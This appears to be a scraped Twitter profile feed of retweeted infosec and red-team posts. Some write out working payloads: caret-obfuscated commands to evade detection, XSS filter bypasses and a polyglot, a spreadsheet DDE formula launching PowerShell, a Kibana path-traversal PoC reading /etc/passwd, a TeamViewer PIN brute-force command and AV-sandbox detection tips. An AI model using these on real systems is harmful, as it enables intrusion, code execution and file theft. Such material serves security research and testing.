Michael M @_ttest_

Joined April 2014

Tweets

31
Followers

35
Following

64
Likes

73

Vincent Yiu @vysecurity

8 years ago

Red tip #236: Blue looking for “net users /domain”? Try out “n^eT^1 us^er^s /do”

0 47 116 0 2

Vahagn Vardanian @vah_13

6 years ago

Have you ever imagine that @facebook is crawling links in your pdf files when you are sending them via messenger?

43 920 2K 0 64

Download Image

Vahagn Vardanian @vah_13

6 years ago

- hey @SAP - What? - I'm back 😎 - Damn ... [CVE-2019-0351] Remote Code Execution(RCE) in SAP NetWeaver UDDI Server 9.9/10 wiki.scn.sap.com/wiki/pages/vie…

1 10 33 0 1

Download Gif

€𝔵𝔭𝔩𝔬𝔦𝔱𝔠0𝔡𝔢𝔯 @vanshitmalhotra

7 years ago

Hi! Strip Tags Based Bypass "o<x>nmouseover=alert<x>(1)// and "autof<x>ocus o<x>nfocus=alert<x>(1)// #xss #bugbounty

0 31 93 0 10

sailay(valen) @404death

7 years ago

C:\> echo calc|@^p^o^w^e^r^s^hell C:/\*/\*2/\'?'?'d.?'x'?'

1 8 20 0 5

Vahagn Vardanian @vah_13

7 years ago

Founded 😊 and fixed github.com/npp-plugins/mi…

0 1 4 0 0

Download Image

Vahagn Vardanian @vah_13

7 years ago

I have found an interesting thing with content-disposition in file downloading time. medium.com/@vvvaagn/game-…

2 11 18 0 1

Download Image

sailay(valen) @404death

7 years ago

=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

20 447 1K 0 72

Download Image

23pds (山哥) @im23pds

7 years ago

Elasticsearch Kibana Console插件LFI CVE-2018-17246 PoC： GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

11 593 1K 0 69

Arseniy Sharoglazov @_mohemiv

7 years ago

This little technique can force your blind #XXE to output anything you want! mohemiv.com/all/exploiting…

5 319 666 0 85

Download Image

Vahagn Vardanian @vah_13

7 years ago

License generator of Microsoft Dynamics CRM (╥﹏╥)

1 2 6 0 0

Download Image

TeamViewer bans your ID if you will try to connect with the wrong password and close the connection 10 times, but if you don't finalization a connection (on the screen "Cancel" button), you can brute 4-digit PIN-code. cmd "C:\PF\TeamViewer\TeamViewer.exe" -i %ID% -P %PIN%

22 812 1K 0 64

Download Image

sailay(valen) @404death

7 years ago

"'-CoNfiRm`0`-'";//-->/*'"></sCrIpt>%0D%0A%0d%0a<sVg/*`/ c=">"/0/`/*/x["x%00"]/%0a/o/n/l/o/a/d/OnLoAd=-+!top['al'+'\u{65}rt']`0`;>//

2 37 78 0 3

sailay(valen) @404death

7 years ago

9 312 760 0 44

Download Image

Vahagn Vardanian @vah_13

7 years ago

🧐

0 3 1 0 0

Download Image

sailay(valen) @404death

7 years ago

3 164 349 0 13

Download Image

Vahagn Vardanian @vah_13

7 years ago

TeamViewer authentication mechanism

0 7 12 0 0

Download Image

Aleksei Tiurin @antyurin

7 years ago

Result of my research about current situation with #deserialization vulns in #javascript / #nodejs acunetix.com/blog/web-secur… #hacking #PenTest

0 70 94 0 5

gelim @gelim

8 years ago

You didn't know what to do with those mangled SAP CODVN hashes dumped via RFC_READ_TABLE? Now you do: erpscan.com/press-center/b… #sap #abap #hashcat #password #cracking

1 21 18 0 0

Vahagn Vardanian @vah_13

7 years ago

An interesting thinks, how you can detect Avast AV and AV sandbox on a machine 1. Avast always trying to inject in processes aswhookx.dll 2. You can check the loaded dlls which are normally not used by the program.